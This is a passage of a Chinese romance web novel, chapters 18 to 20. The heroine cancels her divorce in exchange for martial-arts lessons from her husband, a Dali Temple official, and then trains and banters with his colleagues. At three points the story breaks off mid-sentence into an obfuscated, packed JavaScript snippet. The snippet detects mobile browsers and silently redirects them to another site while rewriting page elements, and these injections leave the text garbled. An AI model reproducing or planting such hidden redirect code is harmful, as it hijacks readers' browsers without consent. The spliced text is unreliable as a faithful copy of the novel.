她有些迷茫地朝后看去,只见木窗边,长桌前,研墨的少女已枕着一条手臂睡得正熟,而另一边的男子先小心将她手中的墨块拿开放好,然后走到她身边缓缓俯下身子,一点一点靠近…… 最后在那毫无防备的脸颊上落了个极尽虔诚的吻。 像风吹涟漪,轻柔而无声;也像潮涨潮落,翻涌心头万千情意。 之后,眼前彻底落入黑暗,幻境真的要结束了。 大堂内烛火燃得正旺,在室内映出一片恍若白昼的明光。元和景近乎呆滞地盯着其中一簇跳动的火苗,心像是被谁用力攥住似的又酸又疼。 “少卿,你们……” 正好赶来的贺均看着眼前两人欲言又止,而祝长生已然恢复威严肃穆的神情,冷冰冰地道:“随我去大牢,提审柳淑兰。” “是。” 说完,祝长生一甩袖子径直离开,贺均也紧随其后,空旷的大堂内,只有元和景还孤零零地站在原地。 不过多时,有一人影自暗处闪身出现,他并不说话,只是抬头看向门口,面容沉静,像在目送着什么。 大堂内一片静默,胡陆说话的声音极轻:“送送他吧。” 元和景茫然地看向他,眼睛肿得连对方的连都有些看不分明,声音沙哑地问:“什么?” 胡陆不答,只是下巴微扬,朝门口的虚空处点了点。 元和景下意识望过去,但视线所及处什么也没有。可她莫名有种预感,心里想的人一定就在那里,只是她看不到。 压抑着汹涌的泪意,元和景哽咽着喃喃道:“纳兰公子,再会。” 18. 和离作废 云消雾散,明星渐疏,天边已隐隐泛起鱼肚白。 忙碌大半宿的身体彻底被疲惫占据,情绪好歹是稳定了下来,可元和景现在头疼眼睛疼,手脚也没力气,要不是大堂里实在有些冷,她干脆打算席地而睡了。 脑子里顾及着还有更重要的事,所以直接回去八成也睡不安稳,于是元和景稍微整理了下仪容后,就起身往大牢那边去。 方才一直隐匿在阴影中的胡陆不知何时已离开了,他还占着纳兰卿的肉身,走的时候连声招呼都没打。 虽然从结果来看,他也算大仇得报,可本人却是看不出一点欢呼雀跃的样子。如今恩怨已了,胡陆之后如何,元和景也无从知晓。 托他的福,元和景这些日子没少往大理寺跑,但去大牢还是第一次。幸好在路上遇到一条正甩着尾巴赶路的白狗,她想着就算找不到大牢也能先随它找到人,跟着转几个弯后,却是见大牢门口近在眼前了。 出人意料的是,此时此地还挺热闹的。 周子萧和贺均百无聊赖地背倚着墙小憩,白狗则是欢快地跑去了另一人面前,对方身量极高,且魁梧非常,借着并不明亮的天光只能看出个大致轮廓,但仅凭此也足以知道,这定是位能一拳砸死十个元和景的壮汉。 不是说大理寺乃惩奸除恶之地吗,怎么还有这样的暴徒在? 话是这样说,可元和景又眼睁睁看着那人弯下腰去,手法娴熟地摸那条白狗的头。后者则像是见到救命恩人似的,喉咙里发出一连串哼唧声,头止不住地往人手心里拱,身后的尾巴更是甩得快飞起来了。 此情此景还莫名有些眼熟,毕竟之前元和景曾短暂地养过一只狐狸,蹭人的时候也是可爱非常,不过这狐狸…… 唉,还是不想了。 元和景没忍住幽幽地叹口气,却未料到这点动静将周子萧惊醒了,他满脸戒备地睁开眼,看到来人时神色又蓦地放松下来。 “元小姐。”他先打了招呼,见元和景目光落在另一边,又从善如流地介绍道,“这位是大理寺狱丞,名石岩,之前曾与你提到过的。” 这时,忙着摸狗的那人也抬起头来,对元和景露出一个憨厚的笑,粗声粗气道:“嘿,见过元小姐。” 也许是距离拉近的缘故,元和景得以将此人面貌看清:皮肤黝黑粗眉黑眼,额角那道长疤从眉头拉到发缝,一猜便知道来历不简单。他看过来时眼珠子鼓得很圆,总给人在瞪自己的错觉,即便是规整的大理寺制服在身,也硬让他穿出了几分恶霸山匪的气质。 可从他说话语气、和方才摸狗的动作来说,这应该是个脾气还算不错的人。元和景在心里暗暗懊悔了一下之前的以貌取人,然后也点着头回道:“石狱丞。” 小腿突然传来温热而柔软的触感,元和景低头看去,是那条帮忙引路的白狗。身为主人的石岩非但没介意,还很热情地解释:“石头可通人性了,平时没见它跟谁这么亲近过,它来蹭你肯定是喜欢你。” 元和景还从未想过自己这么有动物缘,蹲下来一边摸狗,一边问:“对了,祝长生说他要连夜审柳淑兰,现在如何了?” 周子萧依然是靠着墙的姿势,随口答道:“目前还在审,看少卿那架势,怕是今夜都要审过去。” “此案基本已有定数,为何还要审这么久?”元和景觉得奇怪。 周子萧耸了耸肩表示自己也不知,沉默许久的贺均突然插话:“我走时听见少卿提及‘柳扶摇’这个名字,或许与此有关。” “柳扶摇?” 元和景喃喃地重复一遍,总觉得有些耳熟,但脑子里混混沌沌的,倒是怎么也想不起来了。 一宿没睡的疲惫涌来,元和景没忍住打了个很大的哈欠。周子萧见状道:“这么晚了回去也不方便,元姑娘要不去少卿的房间里眯会?反正少卿现下正忙,估计一时半会也休息不了。” 明明都是熬了一夜,在场其他三人看起来还算游刃有余,只有元和景哈欠打得眼泪直流。她暗暗感叹大理寺的人身体素质就是好,答应下来后便随周子萧离开了大牢门口。 走在路上时,元和景福至心灵般想到一件事,正好趁着眼下周子萧在场,她便故作正经地铺垫起来:“你武功如此高强,不知师出何门啊?” 四周光线并不明亮,元和景只能看见对方神色稍稍变化了下,扭过头来时又恢复了悠闲散漫的样子,他道:“突然对我的功夫感兴趣……怎么,想学?” “诶,没错!”元和景心里直呼周子萧的上道,担心他不同意,又十分认真地解释,“最近遭遇太多事情,每次都只能等着别人来救我,想想也怪不好意思的。” “其实我也不是要练成你那么厉害,就是想危急关头能有点自保的本事,也省得给大家添麻烦。” 这边说得一板一眼,周子萧听完却是轻笑起来,元和景不解地道:“你笑什么?” “抱歉抱歉。”周子萧摆摆手,唇角弧度还未落下,“只是没想到,元小姐还有这般玲珑心思,倒让人觉得新奇。” 元和景刚要辩解,就听见他又道:“想学自然也行,不过要论武功高强,大理寺内当属祝少卿最厉害。你若想学得多些,不如去找他说说。” 提及此,元和景才又想起来祝长生身份的问题。瞧其他人的态度,祝长生实为胡拾假扮一事应鲜有人知晓,而她,就是恰好撞见并得知这个惊天大秘密的倒霉蛋。 但仔细想来,与其说是机缘巧合,倒不如说祝长生似乎从没打算隐瞒自己。先是新婚夜以本体出现赶走胡陆,再装成小狐狸的模样一直跟在身边……他要是真心想藏,又何必露出这么多马脚? 自己幼时遇见的那个祝长生,不仅对武术一窍不通,而且还是个冬日里就咳嗽不止的病秧子,哪承得了周子萧的这句夸?所以这真正的武功高强者,也该是胡拾而非祝长生了。 乱七八糟的思绪堆在心上,元和景只觉得头更疼了,随意问道:“你怎么知道他厉害,你跟他打过?” “没打过。”周子萧应得轻巧,“但我就是知道。” ……呵呵,好一个想当然啊。 没过多久,两人停在一间屋子前。既是堂堂大理寺少卿住的地方,怎么说也该是客栈里贵宾包厢的配置,但等元和景进了门才发现,这里面除了必要的家具之外,其他地方都是卷宗、卷宗,卷宗…… 还是卷宗。 元和景:“这确定是房间而不是档房?” 周子萧轻咳两声,解释道:“少卿常常在此看卷宗到深夜,下人担心给他打乱了所以也没收拾,但至少床上还是整齐的,你安心睡就是。” 说完,周子萧便急匆匆地离开了,像是生怕元和景再多问什么。 还好对于困极的人来说,有张床睡已是最大的恩赐,元和景也不打算点灯,摸着黑去了里间的床上躺下,胡乱蹬掉鞋子后就不管不顾地昏睡过去。 往常她睡觉时总爱点熏香入眠,但今晚是决计没有这个条件了。醇厚而质朴的书卷笔墨味萦绕在鼻尖,却意外得有些好闻,元和景也就伴着这些气息沉沉地陷入了梦境中。 再睁开眼时,外头已然天光大亮,白光肆意泼洒在样式陌生的床帘上,元和景半梦半醒地犯了好一会晕。才想起来这不是自己的房间。 外室突然传来纸张被翻动的扑簌簌声响,扭头看去时门柱边的帘子却正好挡住视线,不过她心里多少有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16957007|193175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些猜想,下床后脚步极轻地往过走去,却在看清时刚好对上那人的目光。 “醒了?” 祝长生正坐于书案边看案情记录,身上的大理寺制服比贺均他们的颜色稍深一些,肩头和手腕的刺绣也更厚重,除了面上有些许疲惫之色外,几乎和平时没什么两样。 元和景先是“嗯”了一声作为回答,脑子里很合时宜地想起昨晚睡前的想法,她便径直走到祝长生对面坐下,尽量装作很有底气的架势敲敲桌面,道:“先别看了,我跟你说个事。” 祝长生脸上闪过几丝诧异,八成也是没想到元和景会忽然闹这一出。片刻后,他神色恢复平常,只是依言将手中的竹简放下,问:“何事?” “周子萧说你武功好,既如此,你同我做个交易。”元和景也不啰嗦,干脆地直入主题,“你教我武功,否则我就把你是狐狸这件事广而告之,让全天下人都知道。” 她单手搭于桌面,下巴还故作声势地抬高了些,心想毕竟筹码在自己手中,怎么也不会落了下风。 可按理说正处于劣势的祝长生却是屹然不动,眉头微挑,施施然道:“如果没听错的话,你是在求人。” 他的目光从元和景脸上落到那正压着竹简的胳膊,不紧不慢地来回扫了几圈,等元和景心里忍不住犯起嘀咕时,才有所感般的接着说:“夫人求人就是这个态度?” 元和景仔细一想,自己有求于人好像也没错。于是她先清了清嗓子掩饰尴尬,然后放软了语气:“那行,请你教我武功。” 如此实在没什么威慑力,她拿不准祝长生是否会答应,停顿片刻后还是把一句不怎么有气势的狠话丢了出来:“不然我就把你的小秘密抖搂出去,你自己看着办吧。” 祝长生没能藏住唇角的弧度,眸中似有精光闪过,倒是半点看不出在被人威胁。可他还是摆出了一副凝眉思索的模样,过了会才为难地道:“教你也不是什么难事,但就算我答应你,你又要如何保证不会把我的秘密公之于众?” “这个嘛……”元和景倒真没想过这回事,一时间也拿不定主意,试探着道,“我发誓?” 纳兰卿讳莫如深地摇摇头,显然并不认可此番提议。 “那你说怎么办?” 元和景开始虚心求教,却丝毫没想到这是将主动权交了出去。 不过这正中祝长生的下怀,他颇为满意地眯了眯眼,道:“不如这样,和离一事就此作罢。你我二人时时相伴,一来教武功方便,二来我也好监督你,以免你出尔反尔,如何?” 元和景向来自诩信用极好,几乎从来没有说到没办到的事,听见祝长生这不信任的话顿时气不打一处来,忿忿道:“作罢就作罢,本姑娘一言既出驷马难追,管你怎么监督。” 祝长生面上笑意更浓,但还依旧维持着风度,只道:“如此甚好。” 正事已了,私事也再无什么好说的,元和景没待多久便离开了大理寺。毕竟有关纳兰卿、还有和离作废的事,都要跟元纪宁说一说才行。 没过几日,元和景要跟着祝长生学功夫的消息已被大理寺几人知晓,踩着约定时间的前一日,一身崭新的大理寺制服便被周子萧亲自送到了元府。 据周子萧说,这件衣服是他们请师傅按照云青的尺码改好的,元和景虽然不是正式的大理寺人员,但既然来了就是一头的,该有的自然不能少。 到了约定好的那天,元和景站在大理寺正厅前的院子里,祝长生双手负于背后,顺着最下面的台阶缓缓踱步,眉眼带笑,一本正经地道:“既然你诚心求学,那好……” “就先绕着大理寺跑上十圈吧。” 元和景:“什么???” 19. 余日可长 马步扎稳,气屏丹田,力聚双臂…… 就是现在! 伴着元和景的一声怒喝,全身力量顷刻间在掌心迸发,以摧枯拉朽的气势直直向上方而来,然后……衰竭了。 四肢像是被拆解了般松垮下来,她不信邪地低头看去,果不其然,那两个木桶还在原地纹丝未动。 只有里面装了一半的水还在晃荡,彰示着元和景方才的确为之做出过努力。 “呵。” 背后传来的轻笑声短暂又突兀,元和景正好心头一口郁气无处发挥,也顾不上被撞破的尴尬,双手叉腰转过身忿忿道:“笑笑笑,你月度述职报告写完了?” “确实还没有。”周子萧面上还带着点未尽的笑意,抱着胸缓步从练武场入口走近,语气也是一派悠哉游哉,“但也不影响我来看顾你,毕竟看别人练武,确实比自己练有意思。” “想看我笑话就直说。” 边说着,元和景在比武台四周的梯子上随意一坐,额头滚落的汗珠还未擦完,埋怨已经一句接着一句地来—— “学武功也太累了,一会跑圈一会提水的,到底什么时候能是个头?” “还有这个祝长生,我合理怀疑他就是在耍我。都半个月了也不教我招式,就那么几个简单的动作练来练去。” 周子萧先把这些话都听过,然后无奈地摇了摇头,罕见地语重心长道:“别说半月,你就算练半年都不算多,基本功要是出了问题,当心日后对上人连剑都拿不稳。” 他将丢在一边的木剑捡起,先轻巧而利落地挽了个剑花,另一只手扶上剑锋的同时用力向前推出,道:“这种常见的挡刀姿势更是保命之关键,少卿是真的用心良苦,可没有耍你。” 元和景本就是随口说说,闻言也懒得反驳。周子萧见她半天不说话,又接着开口:“你要是想学点更实在的,我可以教你一招。” “说来听听。” 毕竟周子萧的武功她曾亲眼见过,出手迅速招式凌厉,说不定在京城大侠榜上都能排到号,所以无论教些什么,元和景必然都是赚到的。 抱着这样的念头,元和景饶有兴味地直起身子,“快教我”三个大字就差写在脸上了。 周子萧很是受用她的期待,单手支起下颌,道:“与人对打时,一般讲究避其锋芒寻找破绽,但就这么等别人露出破绽,还不知要等到什么时候。” 元和景隐隐听出些不对劲的苗头,但因为尚未定论,只能犹豫着问:“你的意思是?” “不错。”周子萧轻快地打了个响指,像是在附和她的猜测,“所以我这招讲求直面锋芒趁势而上,主动将破绽卖给对方,再趁其追击时打他个措手不及,虽说会付出些代价,但定能一击制敌!” 周子萧绘声绘色地说着,眉眼间皆是少年人的意气,瞳孔里闪着迎敌时才有的、跃跃欲试的光芒。可即便如此,元和景还是从这里面抓出了最关键的信息—— “那不就是站在原地让人打吗?” 习武练功为的就是不挨打,可这人倒好,还眼巴巴地往对方剑上撞。若非是他神情姿态看起来与平日无异,元和景都要怀疑周子萧今日是不是被夺舍了。 或许被她的直白惊讶到,周子萧先是一怔,而后摸了摸后脑勺,讪讪道:“所以我给这招取名叫‘杀敌一千自损八百’,总之在敌我实力悬殊的情况下,还是能争得一线生机的。” 元和景自知技不如人,但脑子绝对没坏,她给周子萧留下个看傻子的眼神,然后就拿着木剑去练学过的招式了。 莫名的劫后余生感浮上心头,元和景有些庆幸地想着:还好最后是让祝长生来教自己,要是落在周子萧手上,指不定要被教成什么样。 最开始的新奇劲和满腔热血过后,在大理寺学武功的日子不可谓不枯燥。除了要练又单调又累人的基本功之外,在实训时被祝长生单方面碾压着揍一顿也是常有的事。 得亏她是个越挫越勇的性格,闷闷哭一场后又能拿起剑再战他个三百回合。 ……不过前提是能打得过。 和剑谱沙袋练功桩打交道成了习惯,元和景也是一次节日小聚上,才从江印月口中得知自己的变化:外形上瘦了许多,不过并非变得羸弱,而是更给人精干结实的感觉。 行踪上不必说,现在已有不少小姐猜测,她是被夫家管住了。 被管住了么?元和景忽然想起来这句话,随即不动声色地朝身旁正闭目养神的那人看去。 律法修订需要大理寺和刑部多方商定,因而这月里两人也总是聚少离多。现下能同乘一辆轿子去大理寺,元和景那座半路突生变故的马车算是功不可没。 或许是目光停留的时间太久,祝长生似有所感般睁开眼,清明的眸中正好倒映出元和景不掩惊慌的脸。 “这些天同大家相处,感觉如何?” 祝长生问得十分自然,语气轻而平和,好像他们真是一对关系极亲近的夫妻。不过奇怪的是,元和景并未觉得反感,偷看被抓包的无措感竟还因此缓解了许多。 她凝神思索片刻,如实道:“大家都很好,伙房的厨艺也不错,就是整天待在练武场里,时间久了有些没意思。” 祝长生点点头以表理解:“练功习武本就如此,一日也不可松懈。” 这番话说得有些生硬,祝长生也感觉到了。于是在停顿须臾后,他又接着道:“但你并非是要练就绝技,所以无需将自己逼得太紧。要是到了不想练的时候,可以来找我。” 元和景歪着头看他,问道:“找你?那你平时都干些什么?” 祝长生不知哪来的恶趣味,也学着她的样子将头微微偏向一边,垂眸将其表情尽收入眼底。他道:“看卷宗、撰文书,接外客……都有可能。” 元和景很是认真地考虑了一下,皱着眉说:“听起来好像也不怎么有意思。” 前行的马车带起轿帘一阵晃荡,清风恰逢其时,为其漾出柔和的弧度。祝长生抬眼看了看从空隙里洒下来的天光,正是明而亮、晴而好的。 从未在去大理寺的路上有过如此明媚的心情,祝长生很是愉悦地轻轻勾起唇角,道:“的确如此,但要是你来了,或许我们可以一起做些有意思的事。” 元和景怎会听不出这话里的迁就意味,心中对于他们是夫妻这件事才稍稍有了些实感,纵使这段姻缘来得离奇又曲折,但经过一番弯弯绕绕后还是走到了一起,真可谓奇也怪哉。 若是上天赐来的缘分,就这么顺势当一对久假不归的挂名夫妻也未尝不可。 正这样想着,旁边的祝长生又道:“府上需要添置的东西我已让管家备齐,待下次休沐,我便去元府接你回去。” “回去?” 当初纳兰卿一案发生得突然,再加上两人在元府闹了不愉快,接她回少卿府的事也就这么草草翻篇。作为少卿夫人,去夫君家里和他同住本是天经地义,不过元和景更关心的,是另一个问题—— “去、去少卿府的话,我住哪?” 祝长生盯着她的眼睛,认真回答:“既是夫妻,分开住于情于理都不合。” 元和景只觉得登时五雷轰顶,脑子里嗡的一声变成空白,脸颊也涨红了大片,只有下意识想应声的嘴在徒劳地结结巴巴:“这、这这……可是我……” 其实在大婚前,家里也曾按照流程请礼仪姑姑来教她夫妻之事,可当时元和景满心想着逃离元家逍遥自在,再加上祝长生已死的消息传得沸沸扬扬,秉着反正嫁过去也是守寡的想法,她该学的不该学的理论都只听了个囫囵吞枣。 ……更别说跟“死而复生”的夫君亲身实践了。 “放心。”像是看出她内心所忧,祝长生轻咳一声掩饰面上稍纵即逝的羞赧,声音平稳,带着足以让人信服的力量,“你若是不愿,我自不会逾矩。” 此话一出,相当于将元和景隐而不表的东西挑明开来,燥意从脖颈爬到头顶,她像只煮熟的虾子般往角落缩了缩。幸好大理寺已到,还不等车夫招呼,元和景只留下闷闷的一声“嗯”,便三两步跳下车跑远了。 祝长生耳廓上绯色未消,可更多是觉得好笑。他起身出轿,捞起帘子时正好看见那个背影消失在大理寺正门口,灰扑扑的制服合该是严肃庄重的,可落入眼里时,却莫名妍丽得像一只翩跹的蝶。 或许妍丽的本不是衣服,但还好天色尚早,余日可长,他有的是机会慢慢思索。 元和景不知今日从哪里打来的鸡血,整个人兴奋非常,凭着这口气勤勤恳恳地练了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16957008|193175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一早上基本功,快正午时才想着去祝长生那里看看新鲜。 她凭借记忆找到了档房,推门而入时却刚好和提笔苦写的云青打个照面。甫一对视,一股冷意顿时从脚底窜上脊背,明明云青面无表情的样子她也见过许多,但从未有哪次让她恐惧害怕至此。 因熬夜而泛黄的皮肤上,黢黑的双瞳正幽幽散发着寒光,眼白在黑眼圈的衬托下更显森然……加班产生的怨气正有如实质般从每一个毛孔渗出。档房内本就阴凉昏暗,如此一来连吹进的风都染上些许阴冷,活脱脱成了怨鬼老巢。 元和景控制不住地一个激灵,然后左脚绊着右脚退了出去。“哐镗”一声后,木门重新被合上,春末夏初的暖意终于又重新包裹住自己。 元和景长长地出了一口气,恍惚间竟生出几分死里逃生的庆幸来。 整理好情绪后,她又就近往伙房去,反正也快到用午饭的时间,她不愁遇不上人。 尚有一段距离时,水煮鱼的香味便争先恐后往鼻腔里钻,元和景馋得口水直流,脚下步伐快了又快,但还是慢周子萧和贺均两人一步。 伙房的大堂里,一张方正的长木桌放在正中央,周围七零八落地摆着几个长条凳。贺均在靠窗那侧坐得规矩,周子萧则是和他的左脚共用一凳,嘴里还叼着根毛草茎,这要是在外面,被当成来吃霸王餐的都不算冤枉。 “你们两个,吃饭最积极。” 边说着,元和景信步跨进门,扬起的衣摆揉乱角落一片碎金。 贺均见状,笑容浅而温和,道:“元姑娘。” 元和景略一点头算作回应,不过另一边周子萧就没这么客气了,他咬着草茎,略有些含糊地反驳:“我俩干活时也很积极。” 元和景表示不赞同:“再积极你也比不过云青,她可是熬了一个晚上。方才我不小心推门进去,差点被她的样子吓一大跳。” 周子萧这下无可辩驳,反而端着过来人的语气附和道:“正常,她刚来的时候就是这样。毕竟又当录事又当评事的,要是没了她,大理寺的卷宗乱成一锅粥。” “所以平时我们都不怎么敢找她,她在忙时就更不能招惹,这可是前辈的经验之谈。” 周子萧刚说完,贺均便补充道:“话虽如此,但云青只是看起来不太亲和,笔墨上的本事却是谁也比不过的。她虽出身寒微,却因文采斐然被当今圣上看中,成了当时我朝为数不多的女官之一。” 元和景有些佩服地瞪大眼睛,啧啧感叹:“女子可入仕的律法如今也才施行不过十几年,她在那个时候就身居大理寺要职,这一路来必然吃了许多苦头。” 贺均将面前的荞麦茶喝过几口后又道:“她并非一开始就入了大理寺,原本只是被分配了户部一个小官,但因表现十分过人,才被调来了这里。” “当时前寺卿突然暴毙,大理寺群龙无首,而祝少卿又资历尚浅,多亏有云青帮忙,局势才得以迅速稳定。” 十年前那场变故元和景自然知晓,祝行之的死讯就这么没头没尾地传来,祝府上下也因劫匪遭受重创,想来祝长生接过大理寺的重担,也就是在这时候了。 周子萧赞同地点点头,摸着下巴道:“不错,云青跟我差不多吧,都是因为太厉害才被招进来的。” 没工夫理会周子萧的自夸,元和景有些不合时宜地想起雪地里那个削瘦病弱的少年,这时门口处忽然传来动静,单手拎着大饭盆的石岩正好拾级而上,人未到声已至—— “在聊云青啊。” 众人对此番情景早已见怪不怪,毕竟石岩身上还背着几十张猫猫狗狗的嘴,这次他前来不仅是自己吃饭,那些收养于大理寺动物们的口粮,也都在这个盆里了。 石岩驾轻就熟地把饭盆送进后厨,道了声“多谢”后才来桌边坐下,一副兴味盎然的样子接着说:“云青也是个性情中人。” “她夫君身患残疾,平日里连生活都无法自理,可云青依然对他不离不弃,有时还赶着回家为他做饭,当真是情比金坚。” 元和景惊讶得说不出话来,敬仰之情更是油然而生。正对门口的周子萧冷不丁来了句“见过少卿”,其他几人纷纷附和,她连忙扭头看去,果然是祝长生来了。 “如此热闹,在聊什么?” 20. 尽管去做 just do 声音和缓而轻松,不难听出其主人此时心情不错,来人单手负于背后,脚步沉稳,就这么迎着大家的目光,行至元和景身侧坐下。 “没说什么,随便聊着玩呢。” 虽说祝长生鲜少在私下摆少卿的架子,但很明显的是,上司对下属的威严早已刻入几人心里了…… 自祝长生进门,周子萧便默默把脚放了下去,含半天的草茎也消失无踪。方才关于云青的话题就此草草结束,眼下气氛算不上正经严肃,可也没人再主动出声,像是都等着祝长生先开口。 元和景在心里暗笑他们人前人后两副面孔,石岩却在此时热情地招呼道:“我对面还有空位,少卿或是元姑娘坐到这边来,就不用挤着了。” 这方桌子面积不小,左右的长度可放下两条木凳,更窄的两边也可容下一条。如此布局下,他们五个一人占一条长凳都绰绰有余,而此时元和景与祝长生却同坐在背对门的那侧,也难怪石岩会觉得他们挤。 元和景本来还没注意到这点细节,刚要说这是我先来的,周子萧却不耐烦地发出一声“啧”,恨铁不成钢地责备道:“不懂就别乱说,这么坐挺好的。” 石岩有些摸不着头脑,而贺均已露出有些克制的浅笑。元和景刚明白自己这是被打趣了,身旁的人已略微侧过头,低声问她:“你觉得挤么?” “其实还好。” 元和景没把话说得太绝对,目前从体感来看也确实不挤。两人分别坐于凳子左右,中间距离像是被控制过的正好,进一寸会贴上胳膊,远一寸则相安无事。 得了回答,祝长生于是不动如山,道:“无妨,我也不挤。” 石岩莫名其妙被周子萧指责后就不敢多说了,只能点着头讷讷地说:“那就行,那就行。” 不过多时,随着后厨的人一声招呼,冒着热气的饭菜被接连端了上来,绿中带红,荤素搭配,奶白色的鱼汤更是鲜香至极。一时间碗筷碰撞声四起,也是无人再顾上说话了。 之后又来了其他几位同僚,原本还是嘻嘻哈哈的,看到祝长生后却立马变了脸色,一顿饭吃得战战兢兢,混着菜扒完饭就忙不迭走了。 元和景喝下一口鱼汤,放过碗后用胳膊戳了戳祝长生,耐人寻味地道:“你以前是有多不近人情啊,才会把人吓成这样?” 后者正捏着帕子擦拭嘴角,闻言神色稍滞,颇有些无辜地道:“没有不近人情,只是官阶相差较大,平日里接触少。” 顿了顿,他又反问:“你觉得我不近人情?” “我要真怕你,现在还会跟你坐一块吃饭吗?”说着,元和景有些夸张地叹了口气,拖着调子玩闹似的叫他—— “少卿大人~” 祝长生被唤得心花怒放,收不回的嘴角在喝茶时还高高挂着,差点将水洒在衣服上。 本想吃完后再待一会,但书房里公务还堆得多,无奈下他只好在起身前对元和景悄声说:“若是下午不想练功,便来找我可好?” 声音轻得丝毫没了身为大理寺少卿的威严,尾音如钩子一般微微上扬,莫名还含了几分恳求的意味。这话若是让在场其他几人听去了,周子萧怕是要当场直呼活见鬼。 元和景霎时间还有些新奇,但不得不承认的是,她也十分吃这一套,便咬着勺子点点头,同时还不忘把嘴里的鱼汤吞下。 身侧的气息消失,脚步声也渐远,待终于完全听不见时,周子萧便饶有兴味地挪了过来:“你可知,刚才那几人为什么看到少卿跟看到阎王似的?” “你才是阎王。” 元和景下意识维护,然后又循着他的话问:“为什么?” “因为少卿以前从未和大家一起用饭过,都是让人送到书房。别说是他们,就连我们也没在饭点遇到过他几次。” 促使祝长生亲自前来伙房用饭的变化,不用说她也心知肚明。说完这些,周子萧便一脸深藏功与名地挪回了原位,独留她自己心烦意乱。 元和景有些无措地摸了摸鼻子,只得把目光投在盯着汤碗发呆的贺均身上。 那皱得能夹死蚊子的眉头实在太过惹眼,元和景忍不住关切道:“贺大哥,你不舒服吗?” “嗯?”贺均猝然回神,片刻怔愣后又恢复如常,声音淡淡,“我没事。” 正愁吃饱饭无处消食的周子萧这下又来了兴趣,单手屈指轻敲桌面,伴着规律的叩击声直白发问:“你瞒得过她可瞒不过我,老实交代,是不是想哪家姑娘呢?” 常年混迹京城名媛圈的元和景敏锐嗅到了八卦的气息,她先是讶异于贺均竟有心上人这回事,再看向对方时双眼里正闪着精光,看上去跟起见到肉的狗相比也不遑多让。 “怎么回事,跟咱们说说呗,是哪家的姑娘?姓甚名谁家住何方啊?” “莫要乱说,根本没什么姑娘……” 贺均多数时候都是寡言少语的,遇事的反应也比大家小得多,沉稳可靠,却也沉闷无聊。可今日,元和景竟在他脸上看出女儿家般的腼腆羞涩来,当真是一大奇观也。 石岩此刻也像是突然开了窍,放下碗乐呵呵地拱火:“这有啥不好意思的,要真遇上了麻烦,我们也能给你出出主意,你说是吧?” 此话一出,元和景连忙小鸡啄米似的点头附和起来。周子萧正双手抱胸,嘴角笑意轻惬而随意,也略一颔首作出洗耳恭听的姿态。 贺均左边看看,再右边看看,终于明白自己孤立无援的处境,只好幽幽叹了口气,单手握拳生硬地道:“的确没有什么姑娘,是我妹妹小年,她好像被人缠上了,我有些担心。” 元和景神色一凝,八卦心立刻转成关切,追问道:“怎么被缠上了?” 其他两人也纷纷正襟危坐起来,好像下一秒就要提着剑冲出去,毕竟涉及到一个女孩的安全,就不是能随意开玩笑的小事了。 贺均摇摇头,回答:“不必担忧,她没有危险。” “小年一直在家附近的布匹店做工,昨夜回来突然跟我说,一个有钱的公子这些天整日来店里买布,每次都指名道姓要她推荐……我是担心那小子对她图谋不轨。” “不排除这种可能。”周子萧沉吟道,“但目前来看,这人也算帮小年增加了生意。怕就怕他有什么长期的图谋,现下的一切只不过诱人上钩的陷阱。” 石岩也同样陷入沉思,犹犹豫豫地说:“但万一,这人没有恶意,只是想追求小年姑娘呢?” “不行!” 桌子被猛地拍响,连带着上面的碗碟都被震飞了半寸。贺均脸色晦暗不明,摊开的手背上青筋虬结,眼神更是阴森得吓人,显然方才的动静正是出自他之手。 元和景有些艰难地咽下口水,小心翼翼地朝石岩看去,用眼神询问他“刚才说什么了?” 后者则是摊了摊手,表情迷茫又无辜。 贺均这才意识到自己的失态,胡乱将手收回去,轻咳了两声后道:“抱歉。” “呃哈哈哈哈没事没事……”反应过来的元和景赶紧跳出来打圆场,“你担心小年也是情有可原,不过与其在这里瞎猜,还不如亲眼去看看。正好明日你不当值,我陪你去吧。” 贺均眼睛一亮,语速飞快:“当真?” 元和景颇为仗义地拍拍胸脯,义正言辞道:“放心,若是小年真有什么危险,我定把那贼人打得哭爹喊娘满地找牙!” 虽然在场众人皆知晓,凭元和景现在的本事谁也打不过,但他们还是笑着附和起来。石岩虎头虎脑地道:“不然就把我也带上,光是我这张脸,就能把他吓得半夜睡不着了。” 周子萧语气里半是认真半是玩笑:“尽管去吧,我在大理寺见过的尸首没有一百也有八十,如果把人打死了,就叫我去毁尸灭迹,保证做得干净利落一点不留。” 元和景也忍不住笑出声来,白了他一眼:“你还知道自己是在大理寺,而不是土匪窝,小心我把这些话告诉祝长生让他扣你月饷。” “诶,你这可就不厚道了……” 商量过大致的计划后,接下来就只等实施。下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16957009|193175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 